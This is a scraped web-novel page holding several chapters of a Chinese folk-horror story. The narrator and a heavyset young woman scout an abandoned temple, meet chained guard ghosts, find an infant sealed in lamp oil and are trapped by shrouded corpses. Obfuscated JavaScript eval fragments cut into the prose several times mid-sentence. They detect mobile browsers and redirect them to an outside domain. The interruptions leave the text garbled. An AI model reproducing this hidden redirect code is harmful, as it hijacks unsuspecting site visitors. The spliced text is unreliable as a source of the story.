l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492674|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小庙的周围到处都是一丛一丛的草,长的非常茂盛,因为天气阴沉,我又不敢靠的太近,所以视线肯定会受影响。等藏起来又看了一会儿,微风吹到这边,我就闻到这股风里,有一缕很奇怪的味道。 那种气味,就像是甜甜的花香,但是,细细一闻,还能从这股花香里闻到一股淡淡的腥臭味儿。香气和臭气夹杂在一起,让人形容不出来这到底是什么味道。 这种怪异的味道很让人上头,不仅不难闻,反而觉得香中带臭,臭味更烘托出花香的香甜。 一直到这时候,我才看到,小破庙右侧贴着院墙的地方,有几棵很低矮的槐树。 在我们乡下,槐树是很常见的树,一般的槐树长的很高大,每年开花的时候,树枝上就密密麻麻挂着一串一串雪白的槐花,飘散着淡淡的花香。 小庙那边的几棵槐树,长的是不细,估计能有我大腿那么粗,但是树很低矮,也就是一人来高。 这个季节,早已经过了槐花开花的时候,然而,那几棵很低矮的槐树上,似乎还挂着一串一串的槐花。刚才闻到的奇怪的味道,就是从这些槐花上飘散过来的。 周围的风很轻柔,槐树的枝叶随着风轻轻的摆动,我没办法看的太仔细,但是看来看去,我就觉得枝叶之间那一串一串的槐花,和普通的槐花有点不一样。 普通的槐花都是白的,而那几棵树上的槐花,有一点泛红,每朵花瓣上,都有一点朱砂一般的红点儿。密密麻麻的花朵结成一串,看起来白里透红。 在这种地方,任何反常的现象肯定都要留意,我第一次到这儿,摸不清虚实,一直都没有妄动,还是躲在暗处,聚精会神的看。 大概十来分钟以后,我准备转移个地方,换个角度再观察下,这边还没来得及起身,突然间,院墙一个角落跟前的草丛,毫无端倪的抖动了几下。 随着草丛的抖动,我看到茂密的草叶中露出了一片衣角。 第129章 胖姑娘 那片衣角一露出来,我才意识到,小庙这里有人。 我忍不住有点后怕,幸亏自己一直小心翼翼,到小庙附近就躲了起来,这才没被对方给发现。 这座破败了这么久的破庙,真的还有人? 草丛不断的抖动,那片衣角也晃来晃去的,很快,我就看到一个人手脚并用的趴在草丛里,正从院墙上崩裂的缝隙朝里面看。 如此一来,我立刻就能断定,这个人不是破庙的人,估计和我一样,也是从别的地方到这儿的。 我暂时看不清楚躲在草丛里的是什么人,就能看到对方鬼鬼祟祟的探头朝小庙里面观察,看了半天,这人估计是没发现什么,悄悄的在草丛里爬动了一下,又换了一个位置,继续窥视。 此时此刻,我也不知道该怎么办了,我没打算在这时候露面,还是得耐心的观察一下,这个鬼鬼祟祟的人来历不明,得先想办法弄清楚对方的动机。 那个人转移了位置,渐渐就脱离了我的视线,我悄悄的从藏身处钻出来,朝对方靠近了一点。 这时候,我能看到那人还是躲在院墙外的草丛里。我们的位置一变换,就到了小庙的北墙,一阵微风吹过,又是一股甜美的花香夹杂着臭味,随风飘来。 北墙的外面,也有几棵槐树,和之前的几棵槐树一样,只有一人来高,槐树上挂满了槐花。 小庙里面始终静悄悄的,我不敢太过靠近,暂时也看不清楚院里面的情景。那个躲在草丛里的人,似乎也和我一样,非常的小心,在北墙这边观察了一会儿,又借着草丛的掩护,溜到了西墙。 我一直都尾随在后面,对方几乎绕着整个小庙观察了一个遍,然后顺着杂草,钻到了小庙的西边。我不能靠的太近,等这一次再跟上去的时候,对方似乎就彻底消失在草丛里,再也看不到了。 我皱了皱眉头,情况比我想象的更复杂一些,如果没有外人的话,我可以悄悄的潜伏到小庙里面,窥探一下情况。但发现了外人,我就不敢妄动了。 我继续寻找那个人,找了一圈也没能找到,我觉得,对方应该没有远离,还在这附近,对方不露面,我也不敢露面,只能小心的借助草木的掩护,在附近慢慢的找。 时间过去的很快,大半天不知不觉就过去了,阴沉的天到了半下午的时候终于憋不住,开始下雨。雨下的不大,周围也没有避雨的地方,不出片刻,浑身上下就被淋透了。 这一下雨,到了黄昏时分,天就黑透了,我左右为难,现在离开小破庙,找地方避雨,很可能就会错过那个来历不明的人,可是一直在这里守着,又不知道要守到什么时候。 过了约莫一个来小时,雨小了些,我甩了甩头上的水,从草里钻出来,打算到破庙的正门那边去看看。 当我一转身,就隐隐约约看见旁边几米之外,似乎有人影闪了一下。那道人影没入了草丛中,我心头一紧,紧走了两步,果然就在草里看到了一团身影。 我觉得自己不会看错,这道身影就是我一直都在追踪的那个人,我发现了对方,对方估计也发现了我。在这种情况下,我没有留手的余地,只怕自己落后一步就会遭殃,因此,我连想都没想,一个箭步冲上去,借着惯性,用力踹出去一脚。 这一脚正好踹到对方的背上,我用的力气很大,可是让我意想不到的是,这一脚就好像踢到了一台裹着布的坦克上,不仅没把对方给踢倒,自己反而被震的踉踉跄跄。 我后退了几步,勉强稳住脚,这时候,躲在草丛里的人可能知道藏不住了,唰的站了起来。 “干啥呢?你这人咋一上来就动手动脚的?我认识你吗?你认识我吗?” 对方一说话,我就感觉很意外。 这竟然是个看上去年龄还不太大的姑娘,身板很扎实,估计得有二百斤,难怪我踹了她一脚,她都稳如泰山。 尽管我那一脚没能把她怎么样,但这个大胖丫头显然很不满意,斜着小眼儿一个劲儿的瞪我,瞪的我心里发毛。 我也不知道该怎么回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492675|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,反正是有点理亏。 “那个……不好意思啊……我不是故意的……” “不是故意的?”大胖丫头低头看了看自己的身板:“我这么大一个人儿,你看不见?” “看见是看见了,就是……” 我们俩说话之间,淅淅沥沥的小雨渐渐就停了,胖丫抬头看了看天,似乎有什么事,没心情再跟我计较了,转身又躲到了草丛里。 这一下弄的我很尴尬,走也不是,留也不是。 “你别傻愣愣的站在那!”胖丫憋着嗓子在草丛里说道:“躲一边去,不要碍事!” 我听着胖丫的语气,虽然对我很不满意,不过,对方应该是没什么敌意,人家一个姑娘都主动跟我说话了,我也就顺坡下驴,一猫腰,钻到她旁边的草里,转头看了看她。 “姑娘,你到这儿来,是干什么的?” “别说话,也别动。” “怎么了?” “叫你别说话,你就别说,你一大男人,嘴皮子怎么那么碎?” “你……” “闭嘴!” 胖丫赶紧对我做了个噤声的手势,我不知道怎么回事,看着她的表情很严肃,顿时就不敢出声了。 我们现在就躲在北墙的附近,胖丫的双眼目不转睛的朝着北墙那边望去。雨停了之后,天微微有点放晴,只是光线还不明亮。 我知道,胖丫这样全神贯注的观察,肯定在看什么东西,我没出生,就顺着她观察的方向望了过去。 没过多久,北墙那边似乎出现了几个人,我真的没看清楚那几个人是从哪儿钻出来的,就能看到他们贴着院墙,来来**的慢慢走动。 “幸亏没敢乱动……”胖丫小声嘀咕了一句。 “那边的几个人,是什么来路?” “你既然敢来邪神庙,多少是有点道行的吧?难道你眼瞎了看不清楚?”胖丫似乎对我一直心怀不满,蔑然瞅了我一眼,小声说道:“你自己看看,那是人吗?” 第130章 看门鬼 听到胖丫的话,我心里微微吃了一惊,这大丫头看起来肥头大耳的,但肯定不是泛泛之辈,否则也不敢一个人跑到邪神庙这种地方,她一定是看出了什么端倪。 我在这方面的经验一直很欠缺,算是个软肋,只不过得到了胖丫的提醒,明确了目标,抬眼望去,院墙附近的那几个人,似乎就是为了守着那一堵墙的,就在墙根来来**的走动。 如果仔细的看,就能隐约分辨出,那几个人的脖子上,都拴着一根铁链,因为有铁链的禁锢,他们也就无法走的太远。 “血槐锁阴,百鬼护院,这的确有一点手段。” “胖丫,什么是……什么是血槐锁阴?” “你喊谁胖丫?喊谁胖丫?乱喊啥?”胖丫一听我的称呼,当时就火了:“你再乱喊,信不信我抽你!?” “对不住,对不住,我是不知道怎么称呼你,你别往心里去。” “瞅你那瘦干巴筋的死出儿吧,还喊我胖丫呢!” 胖丫这人脾气像是挺大,不过也很好说话,跟她赔礼道歉,说几句好话也就过去了。 “妹子,你刚才说的血槐锁阴,到底啥意思?” “你没看见院墙外面,种着几棵槐树?就一人来高?” “看见了。” “那不是一般的槐树,是血槐。” 在所有的植物里面,槐树的属性最阴,如果是在常住人的地方,种几棵槐树,可能还没有什么大碍,但是在有些阴气重的地方,是最忌讳种槐树的。 比如坟地,如果附近有槐树的话,槐树就会压着一些残魂,残魂被槐树压着,不能远离,时间久了,必然会发生很多怪事。所以,自古以来,坟地这些地方是从来都不种槐树的。 胖丫刚才说的血槐,是槐树的一个变种,这种槐树长不高,如果正常栽种,开出来的花就是白的。 但栽种血槐的人,都是有目的的,一般会在土壤里面用死尸打底,最起码要十来具尸体,然后种下血槐。在尸体堆里长出来的血槐,树心通红,如果把树皮割破,流出来的东西就和血一样。 血槐开的花,带着斑斑驳驳的红点,花期很长,一年里面至少有差不多十个月开着花,土壤里的尸体越多,血槐的槐花上的红点就越密集。 血槐的槐花只要不凋零,每逢夜晚,尤其是阴天的夜晚,埋在树下的那些尸体的残魂,就会现形,在附近徘徊,因为有血槐压着,它们走不远。 如果有外人靠近,或者想要翻墙而入,残魂就会缠着对方,要是院子里有人,第一时间就能知道来了外人。 我总算是明白了,这个胖丫在破庙外面转悠了大半天,就是在不断的勘察情况。 当真是人不可貌相,胖丫其貌不扬,但是有经验而且有见识,比我强一些。 我和胖丫在这里观察了二十分钟左右,然后胖丫就悄悄的转移了位置,我看着她对我没敌意,也就一直尾随在后。我们用了一个多小时的时间,又把整个破庙绕圈观察了一遍。 除了破庙正门那面墙之外,其余的三堵墙,都种着血槐,要是想从院墙外面翻进去,估计没那么容易。 “妹子,这个破庙里面,到底还有人没?” “你问我,我去问谁?我要是知道里面有没有人,还用得着在外头来回乱转?”胖丫对我多少都有些嫌弃,不耐烦的说道:“院墙外面的血槐,至少也是好几十年前就种下的,现在看不出什么线索来。” “妹子,能问问不,你到这个破庙来,是要干啥?” “有事。” “啥事?” “我有啥事,关你屁事?我还想问问你呢,你到这个破庙里来干啥?” “我有个朋友本来要来这儿,结果他出了点事来不了,就托我过来看看。” “你没说实话。” “我说的真是实话。” “算了,我也不问你了,你这人看着贼眉鼠眼,懒得搭理你。我跟你说,你别在我旁边碍手碍脚的。” “妹子,你准备干啥?” “血槐旁边的那些看门鬼,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504006|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得解决掉,要不然,后面会有麻烦。” 我们俩观察了这么久,基本的情况估计胖丫都已经掌握了,不再啰嗦那么多,悄悄的朝着北墙又靠拢过去。我跟在胖丫身后,她那么宽的身子,把我的视线全给遮挡了。 一直到了距离北墙还有大概十四五米的时候,胖丫就停了下来,估计这已经是最后的安全线,如果继续靠近,看门鬼就会察觉。 胖丫整个人几乎平趴到了地上,紧跟着,她从身上取出一个圆圆的玻璃球。 玻璃球是空的,里面有一根黑乎乎的灯芯一样的东西,玻璃球从胖丫的手里滚落下来,就好像被一根看不见的绳子牵引着,无声无息的朝着北墙继续滚了过去。 看门鬼应该是感应不到这个玻璃球,当玻璃球轻轻滚到墙根的时候,里面的灯芯骤然爆发出一团淡淡的白光。白光像是充气一般的急速扩散,一转眼的功夫,徘徊在墙根的几团身影,全都被白光给吞噬了进去。 我能看到几团影子在白光里面来回的扭曲挣扎,但不管怎么挣扎,都无法从白光里挣脱出来。只过了几分钟,影子在白光里就渐渐变淡,随着时间的流逝,影子越来越淡,最后几乎已经不可察觉。 “差不多了。” “这就解决了?也不难啊。” “不难,你去试试?你知道那个玻璃球多珍贵不?人不大,口气不小。” “我是夸你有本事。” “别夸我,我告诉你,也别跟着我了,我嫌你烦。” 胖丫说完这两句话,就不搭理我了,开始朝着墙根挪动。她身宽体胖,速度肯定不如我,我也不敢跟的那么近,等到胖丫到了墙根,我才蹑手蹑脚的跟了过去。 胖丫明显想从院墙翻过去,但是她这个体重,想要翻墙的确不容易,费了九牛二虎之力,胖丫才爬到了墙头。 然而,胖丫没有站稳,一爬上墙头,整个人就失去了平衡,直接从墙头摔到了院子里面。我站在墙根这边,只听到嘭的一声闷响,脚下的地面也微微震动了一下。 第131章 无人之地 我隔着一道院墙听见胖丫落地的声音都替她疼的慌,胖丫肯定是有点手段的,我本来想跟着翻过院墙,但心念一转,我就想到了之前那个问生死的怨灵。 那个中年人的怨灵消散的很突然也很奇怪,我当时就怀疑周围是不是有什么别的东西,只不过没发现任何线索。 现在在这个地方遇见胖丫,我自然而然的就会琢磨,当时是不是胖丫把中年人的影子给打散了。 如果真是这样的话,胖丫当时肯定就已经发现我了,可是等我们俩见了面,胖丫却闭口不提这件事,好像跟我第一次碰头一样。一个人要是刻意的隐瞒一件事,背后必然有不可告人的原因。 这么一想,我又有点犹豫。 不过,我觉得胖丫这个人似乎没有伪装,如果真是她出手打散了怨灵,见到我之后应该会直接说出来的。 我贴着院墙倾听了片刻,胖丫落地之后,估计也加了小心,再也没发出什么声音。我本来就是想到邪神庙里面,先大概勘察一下,胖丫有几分手段,跟着她肯定比我一个人来回瞎跑要强一些。 一想到这儿,我暂时收起心中的猜疑,悄悄的爬上了院墙。 我爬上墙头顺势朝里面一看,就看到胖丫正挺着壮硕的身躯,做贼似的在里头小心翼翼的摸索。 我唯一的优势就是比胖丫灵活一点,看着暂时没什么动静,就轻轻的翻身跳到了院里。 胖丫听到我落地的声音,回头看了看我,大圆盘子脸上顿时眉头紧皱,虽然没有说话,但那意思再明显不过了,肯定是在嫌弃我又跟了上来。 我也不跟胖丫一般见识,装着看不见她紧皱的眉头,先在周围扫视了一眼。 邪神庙是个小庙,但这个小,也是跟那些闻名四方的古刹庙宇相比。真正置身在庙里的时候,并不感觉面积很小。小庙有一座正殿,是以前供奉神祇用的,正殿两侧是两个小小的偏殿。 左右两边,各有几间房,可以存放杂物,也可以住人。屋后面是一片一片小竹林,竹影婆娑,看起来颇有几分清心禅意。 所有的房屋,都紧闭着门窗,我觉得,这地方果然是几十年前的样子,窗户上没有玻璃,厚厚的贴了几层窗户纸,外头还横七竖八的钉着几块木板。 我简单观察了一遍之后,第一感觉就是这地方可能早就没人住了。因为房屋的门窗看上去像是完好的,其实窗户纸已经千疮百孔,很久都没人更换过。 正殿的大门紧闭,但两扇门板都已经坏了,微风一吹,门板轻轻的开合,发出一阵一阵吱呀吱呀的声音。 胖丫看起来确实不怎么待见我,我也不想自讨没趣,轻轻的走到左手边那几间屋子跟前。 胖丫刚才在外面的时候嘀咕过两句,她说了,院墙附近的看门鬼,只能感应到院子外面的动静,院子里面的情况,它们是感应不到的,眼下的情况大概还算是正常,也比较安全。我的胆子就大了那一点,凑近一间屋子的窗户,从窗户纸的破洞朝里看了看。 屋子里没有透光的地方,黑漆漆的一片,什么也看不清楚。但是,我能闻到一股气味。 这是陈腐的气味,就好像推开了一道一百年都没人打开过的门,屋子里被时间和岁月遗忘的气息扑面而来。 因为实在看不清楚屋里的情况,我只能挪动脚步,又来到第二间屋子的屋门前,这间屋子的房门是完好的,但一靠近,我就发现屋门没有上锁,稍稍一用力就能推开。 屋子里堆放着一些乱七八糟的东西,站在屋门外,我忍不住又琢磨了一下。石头提供了邪神庙这条线索,但是到邪神庙具体干什么,他却只字未提。 到底是找人?还是找什么东西?我没有一点头绪,现在只能全方位的先摸索一遍。 所以,我就觉得有必要先把这些小屋的情况弄清楚,然后再考虑其它。 我蹑手蹑脚的跨过门槛,走到了屋子里面。屋子地面上落着厚厚的一层灰,里面对方的是一些桌椅板凳,还有木箱子,箱子是空的,里头什么也没有。 我的余光一瞥,又在屋子的角落里看见了两口缸。这种缸就是以前乡下用的水缸,有个一米来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504007|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高。 缸里肯定有东西,我慢慢走了几步,伸头一看,就看到里头有半缸好像猪油一样的玩意儿,都已经凝固了。 这种猪油一样的玩意儿,我倒是能辨认出来,以前有些地方会用到长明灯,长明灯的灯油一般是清油,不过,有的懂行的人,在清油里按照一定比例添加鱼油,这样一来,灯油就非常耐烧,虽然不能说真的燃烧个几十上百年,但绵延不断的烧上两三年还是没有问题的。 “你在这儿扒拉啥呢?” 我正在观察,胖丫也进了小屋,在身后小声的问我。 “我就看看。” “你这人一直跟着**啥?我不是说了,叫你离远点!” “我没跟着你啊,你要到这儿来,我恰好也到这儿来,就是凑巧碰到一起了,不是故意跟着你的,再说,这个小庙也不是你们家的吧?许你来,就不许我来?” “就是我家的,就是许我来,不许你来!” “真是你家的?那行,你把土地证拿来给我看看,我立马就走。” “你怎么这么烦人!”胖丫翻了个白眼:“赶紧出来,别在这儿呆着。” “妹子,我也没碍你的事儿吧?” “你老盯着这两口缸看来看去的,看久了,对你有啥好处?” “你别以为我什么都不知道,这就是长明灯的灯油,清油里添了鱼油。” “你就知道长明灯,还能知道点啥?起开!” 胖丫不由分说,一把就把我给拽到一旁,她拿着一根木棍子,在灯油里面来回搅和了一下。 这种灯油一年四季都是凝固的,除非点火燃烧,才会变成透明的液体。胖丫这么一搅/动,半缸子灯油就被弄的搅开了。 随着搅/动,灯油里面唰的就翻出来一团东西,我站在胖丫身后,看的不清楚,等伸长了脖子定睛一看,顿时感觉牙根一痒。 灯油里翻出来的,是一张比我拳头大一点的人脸,人脸一直凝固在灯油里,还没有烂光,但是左脸颊上烂了一个大洞,看着很渗人。 第132章 无根灯 从灯油里翻出来这样的东西,就让我心里感觉很膈应。虽然只看到了一张脸,但我知道,灯油里头肯定还有身躯。 这明显是一个很小很小的婴儿,估计也就是刚出生没多久,头皮发麻的同时,我心里还有一种隐然的愤怒。 我们白八门的门徒,虽然只帮人办丧事出殡,但归根结底仍然算是混江湖的。江湖人有江湖人的规矩,为了生存,为了利益,两个成年人在一起打打杀杀,这实属正常,谁也阻挡不了。 只不过,江湖人不能欺凌弱小,犯了这条忌讳的人,很让人看不起。 胖丫没说话,但是估计也有点受不了,用棍子又扒拉一块灯油,将小小的尸体重新掩盖了起来。 “邪神庙的人,果然不是什么善男信女。” “妹子,这……这个口缸里的小孩儿,有什么说法吗?” “这是无根灯,也叫两命灯,是民间流传的一种邪术。” 所谓的无根灯,非常残忍,都是用将要临盆分娩的孕妇,划开肚子直接把胎儿取出来,孕妇失血而死,婴儿直接被炮制到灯油里面,一尸两命。 因为胎儿是直接被取出来的,没有落地,所以民间也称为无根灯。 这种无根灯最早是被当做迷/药来用的,老辈的江湖人都知道有种叫做鸡鸣香的迷/药,制作鸡鸣香,用的就是无根灯里面的一点点灯油。 如果把纯正的无根灯点燃,灯火燃烧出来的火光,还有淡淡的烟气,具有强烈的致幻作用,要是那些有道行的人,就可以借助无根灯燃烧之后产生幻觉的机会,在幻境中修行。 据说,在幻境里修行,具有事半功倍的效果。 很早以前,有不少方外术士都很热衷制作这种无根灯,但因为手法过于残忍,不管是被老百姓发现还是被官府发现,制作者都会被当做妖人处死,在官府和民间的双重打击下,这种东西才渐渐销声匿迹。 我这个岁数的人,对这种东西已经是闻所未闻了。没想到,在邪神庙这个地方,还会有无根灯。 “离无根灯远一点。”胖丫转身就走,她的身子那么宽,直接就把我撞了个趔趄:“别怪我没提醒你,要是被这东西给迷住,普通人都无法自拔,会直接死在幻境里。” “这个不是要点燃了以后才会生效吗?” “那你就在这儿呆着。” 胖丫出了屋门,就在院子里慢慢的继续勘察,这丫头其实心思还是很细的,务必要把每一个角落都仔仔细细的看清楚之后才会放心。 我知道她不待见我,所以也不去上赶着追她,胖丫在外面慢慢的看,我就在旁边的屋子里查找些线索。 别的屋子里,也有一些封存的东西,看起来很多年都没人碰过了,这些东西稀奇古怪,五花八门,有些东西像是做法用的法器,有的我连见都没见过。 过去占据邪神庙的人,什么样的都有,形形/色/色,所以遗留的物品也就奇奇怪怪。我看了一圈,把几间屋子都走了一遍,暂时没有发现什么很明显的线索。 等我从屋子里走出来之后,不由自主的又在推断,猜测,石头提供了这样一个地点,到底是想让我来干什么?根据我现在的观察,邪神庙已经荒废了,无人居住,找不到人,又找不到有用的东西,顿时就让我失去了目标和方向。 在我冥思苦想的时候,胖丫应该也把小庙前前后后都看了一遍,她走到我旁边,从屋里拖了张椅子坐下来,椅子都是非常结实的原木制作的,但是胖丫一坐上去,椅子就吱吱呀呀好像要散架一样。 “我跟你说,我没时间和你废话,现在别的地方都找过了,就剩下邪神庙的正殿,我要去找点东西,你这个人脸皮太厚,赶都赶不走,既然这样,你就给我交代句实话,你到邪神庙来,究竟要干什么?” 我一听胖丫的话,就明白了她的意思。胖丫是想看看,我和她之间有没有什么利益冲突, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505065|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果俩人都是为了同一个目标而来,那就存在竞争关系。 “妹子,我真的不骗你……我是受人之托来的,但是对方没把话说完,就出了事,就给我留下邪神庙这个地名,他究竟要我来干什么,我其实也不清楚。”我心里苦笑了一声,如果我现在真的知道自己该找什么,反倒更轻松些。 “受人之托,所以专门跑到这种地方来了?” “对,受人之托。” “你人还怪好的。” “你要是不信,我可以起誓,妹子,我可不是专门来跟你争抢什么东西的。” “跟我争抢?你摸摸自己那个身板,真要是抢,能抢得过我吗?” “估计是抢不过。” “算你有点自知之明,算了,我也不想跟你说那么多废话,现在就告诉你,我在这里找点东西,你别给我添乱,等我走了以后,你自己随便在这里折腾,听清楚了吗?” “听……听清楚了。” 胖丫跟我交代完这些,一个人到了小庙的正殿门外,现在就剩下正殿没有被勘察过了,如果这个地方真有什么值得关注的点,也只可能会在正殿里。 我不想跟胖丫发生矛盾,但是也不想错过线索,所以和胖丫保持一定的距离,也朝正殿那边靠了靠。反正胖丫抢着到正殿里去,正好也等于打头阵,我没必要非要跟她抢着进去。 胖丫在正殿外头站了两分钟,估计是听到里面没有传出任何的声音,这才轻轻推了推正殿的门。正殿的门已经坏了,轻轻一推,就歪歪斜斜的推开了半扇。 小庙的正殿,其实并不算太小,至少比以前乡下那种民居的正屋要大一倍。现在虽然雨停了,天却还没有放晴,屋子里黑咕隆咚的一片。 胖丫艺高人胆大,抖着大胖身子,就慢慢的跨过了门槛,等她进去以后,我稍稍的朝前挪了挪,谁知道,胖丫估计是不想让我看到屋里的具体情况,反手把屋门给关上了。 第133章 阴阳尸 我被关到了门外,心想着胖丫这人做事够独的,连看都不让看了。 但我也没办法,趁着胖丫进入正殿的机会,就溜到旁边的偏殿去看了看。 邪神庙的偏殿早已经被清扫一空,里面除了一具已经碎成几块的泥像之外,就只剩下一层厚厚的灰尘。 这层灰尘,其实也是很好的证明,证明这个地方大概率是很久没人来过了。 如果说邪神庙这里没有人,那么石头给我的提示,就应该是让我来这里找什么东西。 一想到这里,我就有点紧张,胖丫到这儿是要找东西,如果石头也是让我来找东西,那么我和胖丫的目标,会否是一致的? 我急忙从偏殿出来,又靠近了正殿的大门,门被胖丫关上了,但是没有彻底关严,还留着门缝。我靠近门缝看了一眼,正殿里面仍然是黑咕隆咚一片,而且,胖丫那么大一个大活人进去,竟然没发出半点声音。 这个胖丫的本事,难道真的就这么大? 我屏气凝神继续在外面观察,越观察,心里就越不踏实,因为正殿里面安静的有点过头了,我甚至都感应不到胖丫的存在。 就这么短短十来分钟的时间,而且一切都悄无声息的,胖丫难道是在里面遭道儿了? 我有点忍不住了,为了看清楚一些,我取出手电,然后轻轻推开了大门。 吱呀…… 随着一声轻响,大门被推开了一半儿,手电的光线映照进去的那一瞬间,我就楞了一下。 明亮的光芒映照出了胖丫的身影,我看到她正站在正殿的正中间,好像石化了一样,一动不动。 “胖丫……” 我一边轻轻喊了她一声,一边迈步跨过门槛。我觉得自己的动作很轻,声音也很轻,但是这一声喊出来,胖丫猛的一转头,那眼神,似乎恨不得直接活吞了我。 唰唰唰!!! 我不知道胖丫为什么会有这么大的反应,还没来得及说话,上方几根房梁扑簌簌落下了一片尘土,紧跟着,我就感觉有什么东西从上头掉了下来。 在这样的环境里,视线无法完全铺展开,观察的角度也有限,我只能听到东西掉落的声音,却分辨不出那是什么。匆忙中,我一弯腰,朝前蹿了两步。 没等我站稳脚,房梁上的东西已经落到了距离地面不到一米的地方。 那好像是十来个麻袋,用绳子绑在几根房梁上面,从四面八方一起掉落了,这一刻,我才觉得可能是自己太莽撞,胖丫进来之后估计察觉到有异常,所以不敢出声也不敢乱动,我不揣冒昧的闯进来,一下子就惹了祸。 那十来个麻袋一样的东西晃晃悠悠的,房梁上的灰尘也很厚,掉下来四处飘荡,灰蒙蒙的一片。 就在这一刻,麻袋上的灰尘全部抖落了下来,露出了原本的真面目。 这十来个从房梁掉下来的东西,并不是真正的麻袋,好像是用白布一圈一圈缠起来的什么玩意儿,白布缠的很结实,也很厚,暂时看不到里头是什么。 “我非要死你手里头不可……”胖丫这时候明显紧张了,一抖身躯,就想硬朝大门这边冲。 嘭!!! 胖丫的脚步刚刚一动,洞开了一半儿的门突然就嘭的一声关上了。我不知道具体是什么情况,但是看着胖丫的样子,就知道事情不妙。 我离大门比较近,看见大门关上,立刻就想伸手去把门重新拉开。 然而,我一伸手,整个正殿里的气氛,突然就变了。 正殿里除了我的手电,并没有别的任何光源,我也说不清楚是怎么回事,在正殿的大门关上的同时,一道淡淡的乌光,就从上方唰的划了过去。 这道乌光一划过去,紧跟着又是一道淡淡的白光。两道光芒就如同两颗流星,一瞬即逝。 随即,周围不停的有乌光和白光在交替闪烁,流逝,正殿里的气息一下子变的无比神秘,又无比阴森。 事情果然不对,我也顾不了那么多了,接着又要去拉开门。 当我的手触碰到门栓的一刹那间,一股很异样的气流仿佛直接从手指蹿到了我整条手臂上。 我有点分辨不清楚这是什么感觉,手仿佛是被火烧了一下,又好像是被急剧的低温给冻伤了,反正滋味很不好受,我条件反射一般的就把手给缩 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“你瞅瞅你那死出儿,这东西你会用吗?拿来!” 胖丫不由分说,硬要夺走小木剑,我觉得这东西在我手里的确发挥不了什么作用,不如给胖丫,让她拿去拼一拼。 胖丫攥着小木剑,左右看了一眼,房梁上那十来个麻袋一样的东西,这时候好像变成了一个个巨大的萤火虫,乱七八糟的乌光和白光,流星赶月一般的到处乱闪。 那把小木剑在胖丫手里,可能真的比在我手里有用,胖丫知道,现在两个人陷在这里,不拼也不行了。 突然间,胖丫朝旁边一闪,小木剑凌空一劈,木剑上竟然爆出了一团亮光,这一剑落在一个白布包上面,十多层白布就刺啦一下,就被彻底的划破了。 白布划破,里面包裹的东西啪嗒一声掉到了地上,我一直都在胖丫身后,白布里头的东西一掉下来,我顿时就愣住了。 这到底算是个什么鬼玩意儿? 第134章 杀机迭起 从层层包裹的白布里掉出来的东西,猛然看上去好像一截皱皱巴巴的树疙瘩,等再仔细一看,就能看到这截一米多长的玩意儿上面,似乎还有人的头发和什么东西的皮**。 胖丫刚才就说了,这玩意儿是什么“阴阳尸”,等真正看到了,我还是不太能明白。 “别愣着了!”胖丫手里挥舞着小木剑,回头喊道:“先想办法出去!” “怎么对付这东西!?” “尽力把这两具尸体给分开!别让它们贴在一起!” 胖丫的话刚刚说完,正殿里那些不断闪烁的乌光和白光,似乎更加急速而且密集了。 我立刻抽出平时用来防身的那把杀猪刀,跟在胖丫身后。从白布里脱落的东西掉在地上之后,暂时没有什么动静,我冲到跟前,举刀就砍。 杀猪刀沉重而且锋利,这一刀砍下去,仿佛真的砍在一截干巴巴的木头上。距离如此之近,我终于把这个东西的全貌给看清楚了。 这的确是两具尸体,但其中一具是人,另外一具像是什么动物。因为时间过的太久,两具尸体已经完全干枯了,辨认不出原本的相貌。 两具尸体的姿势非常奇怪,人的两条腿,微微弯曲,盘在那只动物的脑袋上,而动物那条毛茸茸的尾巴,贴着人的额头绕了一圈。 